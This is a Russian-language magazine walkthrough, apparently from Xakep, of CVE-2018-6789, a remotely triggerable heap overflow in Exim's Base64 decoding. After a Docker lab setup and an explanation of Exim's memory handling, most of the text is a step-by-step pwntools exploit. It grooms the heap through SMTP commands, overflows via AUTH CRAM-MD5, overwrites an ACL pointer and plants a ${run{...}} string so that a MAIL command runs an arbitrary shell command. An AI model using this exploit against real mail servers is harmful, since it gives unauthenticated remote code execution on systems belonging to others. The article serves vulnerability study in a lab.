Обнаруженная проблема — это своеобразное продолжение предыдущего бага, который нашел тот же исследователь под ником Meh. На этот раз он раскопал возможность переполнения буфера в функции для работы с кодировкой Base64.
Уязвимость уже обзавелась своим идентификатором CVE-2018-6789 и получила статус критической, потому что приводит к удаленному выполнению любых команд на целевой системе с правами пользователя, от имени которого работает Exim. Причем не нужна ни авторизация, ни какой-либо другой уровень доступа. Нужен только коннект к порту SMTP.
Под эту уязвимость существует добротно настроенный докер-контейнер, так что говорим спасибо товарищу под ником Skysider и запускаем:
$ docker run -it --rm --name exim -p 25:25 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined skysider/vulndocker:cve-2018-6789
Пробрасываем из Docker стандартный порт, на котором висит SMTP.
Если нужна поддержка дебаггера, то не забудь его установить и перекомпилировать Exim с отладочными символами.
$ apt-get update && apt-get install -y gdb $ cd exim-4.89 $ printf "CFLAGS += -g\n" >> Local/Makefile $ make
Также нам понадобится Python с установленным pwntools для написания и тестирования эксплоита. Я просто разверну еще один докер-контейнер на основе Debian.
$ docker run -it --rm --link=exim debian /bin/bash $ apt-get update && apt-get install -y python python-pip $ pip install pwntools
Все готово, вперед к победам!
Для начала взглянем на саму провинившуюся функцию.
153: b64decode(const uschar *code, uschar **ptr) 154: { 155: int x, y; 156: uschar *result = store_get(3*(Ustrlen(code)/4) + 1); 157: 158: *ptr = result;
За выделение требуемого количества памяти отвечает store_get
— кастомная функция из набора для менеджмента памяти, который используется в составе Exim.
30: #define store_extend(addr,old,new) \ 31: store_extend_3(addr, old, new, __FILE__, __LINE__) 32: 33: #define store_free(addr) store_free_3(addr, __FILE__, __LINE__) 34: #define store_get(size) store_get_3(size, __FILE__, __LINE__) 35: #define store_get_perm(size) store_get_perm_3(size, __FILE__, __LINE__) 36: #define store_malloc(size) store_malloc_3(size, __FILE__, __LINE__) 37: #define store_release(addr) store_release_3(addr, __FILE__, __LINE__) 38: #define store_reset(addr) store_reset_3(addr, __FILE__, __LINE__) ... 43: extern BOOL store_extend_3(void *, int, int, const char *, int); 44: extern void store_free_3(void *, const char *, int); 45: extern void *store_get_3(int, const char *, int); 46: extern void *store_get_perm_3(int, const char *, int); 47: extern void *store_malloc_3(int, const char *, int); 48: extern void store_release_3(void *, const char *, int); 49: extern void store_reset_3(void *, const char *, int);
Во время работы функции выделяется буфер размером 3*(len/4)+1
байт для хранения декодированных данных, где len
— длина передаваемых данных.
Такая формула не случайна, так как в стандарте Base64 каждые три исходных байта кодируются четырьмя символами. В идеальных условиях размер переданных данных всегда кратен четырем, но, к счастью, мы живем не в них, и если передать невалидную кодированную строку, то функция store_get
получит неверное значение размера выделяемой памяти.
В общем случае, когда передаем строку размером 4n – 1, Exim зарезервирует 3n + 1 байт, но после декодирования получится строка, итоговый размер которой будет равен 3n + 2 байта, и это вызовет переполнение при попытке записи в выделенный буфер.
Где используется кодировка Base64? Да практически везде. Начиная от разных типов авторизаций и заканчивая файлами, которые прикрепляются к письмам. Все эти вещи потенциально уязвимы. Авторизация нам подходит, так как для отправки сообщений чаще всего потребуется валидный логин и пароль. На тестовом стенде уже включен механизм аутентификации CRAM-MD5, но подойдет и любой другой, который работает с Base64.
Теперь немножко поговорим о работе с памятью. Как я уже писал, в Exim существует самописный набор функций для этих целей. Функция store_malloc
— вызов malloc
прямиком из библиотеки glibc. Она занимается выделением блока памяти нужного размера.
507: void * 508: store_malloc_3(int size, const char *filename, int linenumber) 509: { 510: void *yield; 511: 512: if (size < 16) size = 16; 513: 514: if (!(yield = malloc((size_t)size)))
Каждый раз при создании нового чанка первые 16 байт занимает блок с метаданными. Он как бы делится на два мини-блока. В первом располагается размер предыдущего чанка, а во втором — размер текущего и флаги, которые хранятся в первых трех битах. После этого функция возвращает указатель на начало блока с данными. Выглядит это примерно так.
Большинство чанков, используемых при работе Exim, хранятся в виде двусвязного списка (doubly linked list), который называется unsorted bin. Поскольку glibc объединяет все такие чанки в один большой блок, это позволяет избежать фрагментации. После каждого запроса на выделение библиотека повторно выделяет эти блоки в порядке «первым пришел — первым ушел» (FIFO).
Из соображений производительности Exim предоставляет собственную структуру связанного списка, с которой работают функции store_get
, store_release
, store_extend
и store_reset
. Эта структура называется storeblock
.
71: typedef struct storeblock { 72: struct storeblock *next; 73: size_t length; 74: } storeblock;
Посмотри на ее содержимое: помимо обычного заголовка с метаданными, добавляется еще один. Он включает в себя адрес следующего элемента и размер данных текущего.
Минимальный размер таких элементов может быть 8192 байт плюс 16 байт хидера и еще 16 байт метаданных, итого — 8224 (0х2020).
Именно такие константы прописаны в функции store_get
.
062: #define STORE_BLOCK_SIZE 8192 ... 128: void * 129: store_get_3(int size, const char *filename, int linenumber) 130: { ... 143: if (size > yield_length[store_pool]) 144: { 145: int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
Чтобы успешно проэксплуатировать уязвимость, нам нужно создать структуру из трех частей.
Для создания структуры нам нужно научиться манипулировать чанками, как Амаяк Акопян. Это можно устроить с помощью некоторых команд протокола SMTP.
Первая в списке — EHLO
. Она используется для приветствия, которое передается после подключения к серверу. В качестве аргумента нужно передать полное доменное имя клиента. После того как команда отработает, указатель на переданный домен записывается в переменную sender_host_name
, а после повторного выполнения команды вызывается store_free
, чтобы освободить место для нового имени, которому выделяется память с помощью store_malloc
.
1751: static BOOL 1752: check_helo(uschar *s) 1753: { ... 1758: /* Discard any previous helo name */ 1759: 1760: if (sender_helo_name != NULL) 1761: { 1762: store_free(sender_helo_name); 1763: sender_helo_name = NULL; 1764: } ... 1810: if (yield) sender_helo_name = string_copy_malloc(start);
Наряду с EHLO
существуют команды MAIL
и RCPT
. Когда они успешно отработают, выполнится функция smtp_reset
, которая вызывает store_reset
и выполняет сброс цепочки блоков к точке сброса (reset_point
). Это приводит к освобождению всех чанков, выделенных функцией store_get
после последней команды.
3648: int 3649: smtp_setup_msg(void) 3650: { ... 3656: void *reset_point = store_get(0); ... 3666: smtp_reset(reset_point); 3667: message_ended = END_NOTSTARTED;
1882: static void 1883: smtp_reset(void *reset_point) ... 1982: store_reset(reset_point);
Следующий помощник — любая неизвестная серверу команда. Если она содержит непечатаемые символы, то они конвертируются в печатаемые, и Exim выделяет память для их хранения.
5556: if (unknown_command_count++ >= smtp_max_unknown_commands) 5557: { ... 5571: done = synprot_error(L_smtp_syntax_error, 500, NULL, 5572: US"unrecognized command");
Команда AUTH
отвечает собственно за аутентификацию. Здесь мы и будем использовать переполнение в работе с Base64. Оригинальные и декодированные строки записываются в буфер при помощи store_get
. Она, так же как и EHLO
, принимает любые символы на вход, включая нулл-байты, что очень поможет нам при эксплуатации.
Для начала рекомендую запустить Exim через отладчик, чтобы было проще отслеживать шаги к RCE.
$ dbg /work/exim-4.89/build-Linux-x86_64/exim $ r -bd -d-receive -C conf.conf
Запускаем Python, импортируем нужные библиотеки и подключаемся к агенту.
from pwn import * from base64 import b64encode serv = remote("192.168.99.100", 25)
Сначала помещаем большой чанк в unsorted bin. Это можно сделать с помощью команды EHLO
. Отправляем в качестве аргумента строку нужного нам размера.
serv.sendline("ehlo " + "a"*0x1000) serv.sendline("ehlo " + "a"*0x20)
Дальше с помощью несуществующей команды вызываем выполнение store_get
. Можно накинуть на нее брейк-пойнт и увидеть, что таким образом мы размещаем структуру storeblock
в освободившемся после прошлого действия чанке.
serv.sendline("\xee"*0x700)
Теперь снова отправляем команду EHLO
, чтобы создать второй storeblock
, при этом первый освобождается, потому что отрабатывает smtp_reset
. Благодаря этому мы разместили блок, в котором хранится переданный в EHLO
sender_host_name
, в середине unsorted bin.
serv.sendline("ehlo " + "c"*0x2c00)
Теперь, когда приготовления кучи окончены, можно работать с переполнением. Наша задача — с его помощью увеличить размер чанка. Используем авторизацию CRAM-MD5.
serv.sendline("AUTH CRAM-MD5")
Высчитываем размер данных, которые нам нужно записать. Мы берем минимальный размер чанка, прибавляем к нему 16 байт метаданных и еще 7 байт, чтобы попасть в хидер storeblock
, в секцию размера данных.
payload = "d"*(0x2020+0x30-0x18-1)
Кодируем в Base64, добавляем байт, который будет записан (0xf1), и превращаем полученную строку в невалидный Base64.
serv.sendline(b64encode(payload)+"EfE")
Теперь после конвертации размер чанка с sender_host_name
станет равен 0x20f1 байт. Помним, что манипулировать можно только одним байтом, следовательно, мы можем менять значения в пределах 0x00–0xff.
Так как размер изменился, теперь следующий чанк начинается внутри исходного. Это нужно пофиксить, иначе проверки целостности из библиотеки glibc не дадут продолжать манипуляции с кучей.
serv.sendline("AUTH CRAM-MD5") payload2 = 'm'*0x70+p64(0x1f41) serv.sendline(b64encode(payload2))
Чтобы начать контролировать содержимое созданного фейкового чанка, нужно выполнить store_free
. Это можно сделать, используя все ту же команду EHLO
. Однако ее успешное выполнение приведет к вызову smtp_reset
, что, в свою очередь, кончится крашем процесса. Чтобы этого избежать, нужно отправить некорректное доменное имя в аргументах. Тогда выполнение функции закончится раньше ресета.
serv.sendline("ehlo anything+")
3882: if (!check_helo(smtp_cmd_data)) 3883: { 3884: smtp_printf("501 Syntactically invalid %s argument(s)\r\n", hello); ... 1797: if (!isalnum(*s) && *s != '.' && *s != '-' && 1798: Ustrchr(helo_allow_chars, *s) == NULL) 1799: { 1800: yield = FALSE; 1801: break; 1802: } ... 1811: return yield;
Вот мы и приблизились к финальной стадии эксплуатации.
На данный момент мы при помощи команды AUTH
можем изменять указатель на адрес следующего storeblock
. Ресерчер Meh, который обнаружил уязвимость, предложил интересную идею для выполнения произвольного кода с учетом этой возможности.
В Exim есть такое понятие, как раскрываемые строки (String Expansion). Это что-то вроде макросов из мира шаблонизаторов. Специальные строки обрабатываются интерпретатором Exim, и действия, которые они описывают, исполняются. Среди команд есть и вызов программы:
${run{<command> <args>}{<string1>}{<string2>}}
Для парсинга такого вида строк используется функция expand_string
. Она вызывается, например, в acl_check
.
4268: int 4269: acl_check(int where, uschar *recipient, uschar *s, uschar **user_msgptr, 4270: uschar **log_msgptr) 4271: { ... 4308: rc = acl_check_internal(where, addr, s, user_msgptr, log_msgptr);
/src/acl.c
:
3856: static int 3857: acl_check_internal(int where, address_item *addr, uschar *s, 3858: uschar **user_msgptr, uschar **log_msgptr) 3859: { ... 3882: if (acl_level == 0) 3883: { 3884: if (!(ss = expand_string(s)))
При каждой загрузке сервер читает конфигурацию и создает таблицу глобальных указателей на ACL (Access Control List). В ней есть записи вида acl_smtp_<команда>
, где команда
— это команда, к которой привязана строка. Так, acl_smtp_mail
указывает на строку acl_check_mail
, и парсер отрабатывает каждый раз, когда клиент передает MAIL
. Если имеются раскрываемые строки, то выполняется их интерпретация.
Таким образом, нам надо изменить указатель storeblock
на нужную запись из таблицы ACL.
serv.sendline("AUTH CRAM-MD5") payload3 = 'a'*0x2bf0 + p64(0) + p64(0x2021) + p8(0x80) addr = p16(addr*0x10+4) serv.sendline(b64encode(payload3)+b64encode(addr)[:-1])
Проблема тут в том, чтобы определить, где расположена эта таблица. Как ты знаешь, адресное пространство — штука динамическая и реальный адрес зависит от множества факторов. К счастью, его можно получить методом брутфорса, потому что после указания адреса нужно выполнить smtp_reset
, освободить чанк. Как обычно, это делается с помощью команды EHLO
.
serv.sendline("ehlo crash")
И если в этот момент указатель был неверный, то приложение упадет с ошибкой и коннект клиента с сервером разорвется. Перебирая адреса и отслеживая коннект с сервером, можно определить верный адрес.
Я буду использовать команду MAIL
, и в моем случае адрес можно посмотреть в отладчике.
addr = 0x6c9
Записываем ACL:
payload4 = 'a'*0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40) payload4 += 't'*(0x1f80-len(payload4)) serv.sendline("AUTH CRAM-MD5") serv.sendline(b64encode(payload4)+'ee')
Генерируем строку с вызовом произвольной команды.
command = "/usr/bin/touch /tmp/owned" payload5 = "a"*0x78 + "${run{" + command + "}}\x00" serv.sendline("AUTH CRAM-MD5") serv.sendline(b64encode(payload5)+"ee")
Мы привязали раскрываемую строку ${run{/usr/bin/touch /tmp/owned}}
, которая будет парситься и выполняться при каждом поступлении команды MAIL
. Проверим это.
serv.sendline("MAIL FROM: <test@test.com>")
Файл на месте, а значит, эксплоит отработал на ура.
Интересно, что в статье об Exim в «Википедии» отдельным абзацем указано, что приложение крайне безопасно и имеет очень мало критических уязвимостей. И тут на тебе: за несколько месяцев такие проблемы! Несколько критических уязвимостей, эксплуатация которых возможна удаленно, — это сильно. Будем надеяться, что разработчики отнесутся серьезнее к проверке исходного кода. А пока обновляйся: с Exim версии 4.90.1 уязвимость исправлена.
Сам эксплоит с возможностью брутфорса адреса ты сможешь найти на GitHub.
Надеюсь, статья помогла тебе разобраться в деталях уязвимости и немного прокачать скилл работы с бинарными багами.
Источник: https://xakep.ru/2018/05/07/exim-4-exploit/